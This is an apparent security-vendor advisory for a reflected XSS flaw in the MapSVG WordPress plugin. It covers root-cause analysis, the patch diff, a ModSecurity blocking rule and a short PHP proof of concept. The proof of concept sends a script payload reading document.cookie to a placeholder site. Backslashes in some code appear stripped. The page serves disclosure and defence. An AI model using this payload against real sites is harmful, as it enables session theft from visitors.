Published : November 30, 2026

CVE-2026-129071: MapSVG – Vector maps, Google Maps, Image maps – with AI assistant <= 9.0.8 Reflected Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 9.0.8
Patched Version 9.0.9
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-129071: MapSVG plugin versions up to and including 9.0.8 contain a reflected cross-site scripting (XSS) vulnerability in the shortcode rendering path. The flaw exists because the plugin accepts visitor-authored shortcode strings without proper validation and then processes them via do_shortcode(), allowing arbitrary HTML and script injection. An unauthenticated attacker can craft a URL that, when visited by a victim, executes malicious JavaScript in the context of the victim’s browser. The CVSS score is 6.1 (Medium).

The root cause lies in the insufficient input sanitization and output escaping within the Shortcode::isAllowed() method and the routing logic in Router::handleShortcodeRequest(). In version 9.0.8, Router::handleShortcodeRequest() sanitizes the ‘s’ GET parameter using sanitize_text_field() and then wraps the input in square brackets if missing, before passing it to ShortcodeHandler::renderShortcode(). The Shortcode::isAllowed() method checks if the shortcode name is allowed but does not reject HTML markup or validate the entire shortcode structure strictly. The patch in Shortcode.php adds checks: it rejects any shortcode containing ‘<', and uses a regular expression to ensure the entire string is a single shortcode with no surrounding content, and that the shortcode is not self-closing or enclosing third-party shortcodes. Additionally, the patch removes sanitization in Router.php, instead passing the raw un-slashed input to isAllowed(), which now performs strict validation. This ensures that only well-formed, allowed shortcodes are processed.

An attacker can exploit this by sending a crafted request to the WordPress site. The vulnerable endpoint is the shortcode rendering endpoint, likely accessible via a URL such as /mapsvg/shortcode?s=[mapsvg]…payload… or through the fallback URL parts. The 's' parameter or URL path segments contain a shortcode string that includes malicious HTML or JavaScript. For example, an attacker might use a payload like [mapsvg]alert(document.cookie) or a shortcode with an attribute containing an onerror handler. The plugin processes this input and renders it without proper escaping, executing the script in the victim’s browser. The patch blocks this by rejecting any shortcode containing ‘<' and enforcing the shortcode to be a single, allowed tag with no extra content.

The patch changes the validation logic in Shortcode::isAllowed() to reject any shortcode containing HTML tags (the '<' character), and uses a strict regex to ensure the entire string is exactly one shortcode, with no surrounding text, and that the shortcode is not self-closing or enclosing other shortcodes. The Router.php changes remove the sanitization and automatic bracket wrapping, passing the raw input to isAllowed() for validation. This prevents attackers from injecting HTML or additional shortcodes. The patch also adds X-Content-Type-Options: nosniff headers in ShortcodeHandler and ShortcodesController to mitigate MIME sniffing attacks. Before the patch, the plugin allowed shortcodes with embedded HTML, leading to XSS. After the patch, only strictly validated shortcodes are processed, eliminating the XSS vector.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the victim's browser, leading to session hijacking, theft of sensitive information (cookies, tokens), defacement, or redirection to malicious sites. Since the attacker can target any user, including administrators, this could lead to full site compromise. The impact is limited to the victim's browser context but can have serious consequences for site security and user trust.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mapsvg-lite-interactive-vector-maps/mapsvg.php
+++ b/mapsvg-lite-interactive-vector-maps/mapsvg.php
@@ -3,7 +3,7 @@
 Plugin Name: MapSVG - Vector maps, Google Maps, Image maps - with AI assistant
 Plugin URI: https://mapsvg.com
 Description: AI maps for WordPress. Create interactive SVG maps, image maps, floor plans and Google Maps from one prompt.
-Version: 9.0.8
+Version: 9.0.9
 MapSVG Distribution: lite
 MapSVG Add-on API: 2
 Requires at least: 5.0
@@ -39,7 +39,7 @@
     define('MAPSVG_PLAN', 'mapsvg-lite');
 }
 /** MapSVG version number */
-define('MAPSVG_VERSION', '9.0.8');
+define('MAPSVG_VERSION', '9.0.9');
 /**
  * Stable PHP contract version for separately packaged paid add-ons.
  * Bump only for an incompatible add-on bootstrap/module API change.
--- a/mapsvg-lite-interactive-vector-maps/php/Domain/Shortcode/Shortcode.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Domain/Shortcode/Shortcode.php
@@ -5,17 +5,22 @@
 class Shortcode
 {

-  /** Shared policy for REST fragments and standalone shortcode pages. */
+  /** Shared policy for one complete shortcode in REST fragments and standalone pages. */
   public static function isAllowed(string $shortcode): bool
   {
     $name = self::getName($shortcode);
+    // do_shortcode() preserves HTML outside matches and in enclosing content.
+    // Never accept visitor-authored markup, even inside shortcode attributes.
+    if ($name === null || strpos($shortcode, '<') !== false
+      || preg_match('/As*' . get_shortcode_regex([$name]) . 's*z/s', $shortcode, $match) !== 1
+      || $match[1] !== '' || $match[6] !== '') return false;
+
     $allowed = (array) Options::get('allowed_shortcodes');
     if (in_array($name, $allowed, true)) return self::containsOnlyAllowedShortcodes($shortcode, $allowed);
     if ($name !== 'mapsvg' || !is_user_logged_in() || !current_user_can('edit_posts')) return false;

     // The exception grants one MapSVG embed, never adjacent or nested third-party shortcodes.
-    return preg_match('/As*' . get_shortcode_regex(['mapsvg']) . 's*z/s', $shortcode, $match) === 1
-      && $match[1] === '' && $match[5] === '' && $match[6] === '';
+    return $match[5] === '';
   }

   /** An allowed first tag cannot authorize adjacent or enclosed third-party tags. */
--- a/mapsvg-lite-interactive-vector-maps/php/Domain/Shortcode/ShortcodeHandler.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Domain/Shortcode/ShortcodeHandler.php
@@ -138,7 +138,7 @@
 	 */
 	public static function renderShortcode(string $shortcode): void
 	{
-
+		header('X-Content-Type-Options: nosniff');
 		self::loadBlankTemplate();

 		// Validate shortcode
--- a/mapsvg-lite-interactive-vector-maps/php/Domain/Shortcode/ShortcodesController.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Domain/Shortcode/ShortcodesController.php
@@ -6,7 +6,7 @@
 {
     public static function get($request)
     {
-
+        header('X-Content-Type-Options: nosniff');
         $shortcode = stripslashes(urldecode($request['shortcode']));

         if (empty($shortcode)) {
--- a/mapsvg-lite-interactive-vector-maps/php/Migrate/Migrations/9.0.8.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Migrate/Migrations/9.0.8.php
@@ -1,9 +0,0 @@
-<?php
-
-namespace MapSVG;
-
-return function () {
-
-    $db = Database::get();
-
-};
--- a/mapsvg-lite-interactive-vector-maps/php/Migrate/Migrations/9.0.9.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Migrate/Migrations/9.0.9.php
@@ -0,0 +1,9 @@
+<?php
+
+namespace MapSVG;
+
+return function () {
+
+    $db = Database::get();
+
+};
--- a/mapsvg-lite-interactive-vector-maps/php/Router.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Router.php
@@ -224,24 +224,15 @@
 	private function handleShortcodeRequest($wp, $parts)
 	{
 		if (count($parts) > 1) {
-			// Get the full shortcode from the URL parts and decode it
-			// Check for shortcode in query parameter
+			// Decode transport only; the shared policy must see and reject the whole input.
 			if (isset($_GET['s'])) {
-				$shortcode = sanitize_text_field(wp_unslash($_GET['s']));
+				$shortcode = is_string($_GET['s']) ? wp_unslash($_GET['s']) : '';
 			} else {
 				// Fallback to URL parts for backward compatibility
 				$shortcode = implode('/', array_slice($parts, 2));
 				$shortcode = urldecode($shortcode);
 			}

-			// Ensure the shortcode has proper brackets
-			if (!str_starts_with($shortcode, '[')) {
-				$shortcode = '[' . $shortcode;
-			}
-			if (!str_ends_with($shortcode, ']')) {
-				$shortcode = $shortcode . ']';
-			}
-
 			// Include the necessary files
 			MapSVGShortcodeHandler::renderShortcode($shortcode);

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-129071
# Block reflected XSS via MapSVG shortcode parameter 's' containing HTML tags
SecRule REQUEST_URI "@rx ^/mapsvg/shortcode" 
  "id:2026129071,phase:2,deny,status:403,chain,msg:'CVE-2026-129071 MapSVG reflected XSS via shortcode parameter',severity:'CRITICAL',tag:'CVE-2026-129071'"
  SecRule ARGS_GET:s "@contains <" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain"
    SecRule ARGS_GET:s "@rx <(script|img|svg|iframe|object|embed|body|input|details|video|audio)" 
      "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-129071 - MapSVG <= 9.0.8 Reflected Cross-Site Scripting

// Configurable target URL (WordPress site with MapSVG plugin <= 9.0.8)
$target_url = 'http://example.com';

// The vulnerable endpoint: /mapsvg/shortcode?s=...
// Payload: a shortcode with embedded script that bypasses sanitization
$payload = '[mapsvg]<script>alert(document.cookie)</script>';

// URL-encode the payload for the query parameter
$encoded_payload = urlencode($payload);

// Construct the full URL to trigger the XSS
$url = $target_url . '/mapsvg/shortcode?s=' . $encoded_payload;

echo "[+] Sending request to: $urln";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);

if (curl_errno($ch)) {
    echo '[!] cURL error: ' . curl_error($ch) . "n";
} else {
    // Check if the payload appears unescaped in the response (evidence of XSS)
    if (strpos($response, '<script>alert(document.cookie)</script>') !== false) {
        echo "[+] XSS payload reflected unescaped! The site is vulnerable.n";
    } else {
        echo "[-] Payload not reflected or sanitized. The site may be patched.n";
    }
    // Optionally, print a snippet of the response for manual inspection
    echo "[i] Response length: " . strlen($response) . " bytesn";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.